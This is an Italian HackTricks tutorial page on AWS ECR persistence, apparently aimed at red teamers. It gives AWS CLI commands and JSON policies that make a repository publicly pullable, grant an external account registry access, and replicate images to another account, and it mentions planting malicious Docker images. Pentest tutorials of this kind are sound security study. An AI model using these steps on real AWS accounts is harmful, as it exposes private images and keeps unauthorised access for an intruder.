AWS - ECR Persistence

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team di HackTricks AWS)!

Altri modi per supportare HackTricks:

ECR

Per ulteriori informazioni controlla:

pageAWS - ECR Enum

Immagine Docker Nascosta con Codice Dannoso

Un attaccante potrebbe caricare un'immagine Docker contenente codice dannoso in un repository ECR e usarla per mantenere la persistenza nell'account AWS di destinazione. L'attaccante potrebbe quindi distribuire l'immagine dannosa a vari servizi all'interno dell'account, come Amazon ECS o EKS, in modo stealthy.

Policy del Repository

Aggiungi una policy a un singolo repository concedendo a te stesso (o a tutti) l'accesso a un repository:

aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json

# With a .json such as

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

Si noti che ECR richiede che gli utenti abbiano autorizzazioni per effettuare chiamate all'API ecr:GetAuthorizationToken tramite una policy IAM prima di potersi autenticare a un registro e caricare o scaricare immagini da un qualsiasi repository Amazon ECR.

Policy del Registro & Replica tra Account

È possibile replicare automaticamente un registro in un account esterno configurando la replica tra account, dove è necessario indicare l'account esterno dove si desidera replicare il registro.

Innanzitutto, è necessario concedere all'account esterno l'accesso al registro con una policy del registro come:

aws ecr put-registry-policy --policy-text file://my-policy.json

# With a .json like:

{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}

Quindi applicare la configurazione di replica:

aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2

# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}
Impara l'hacking su AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Last updated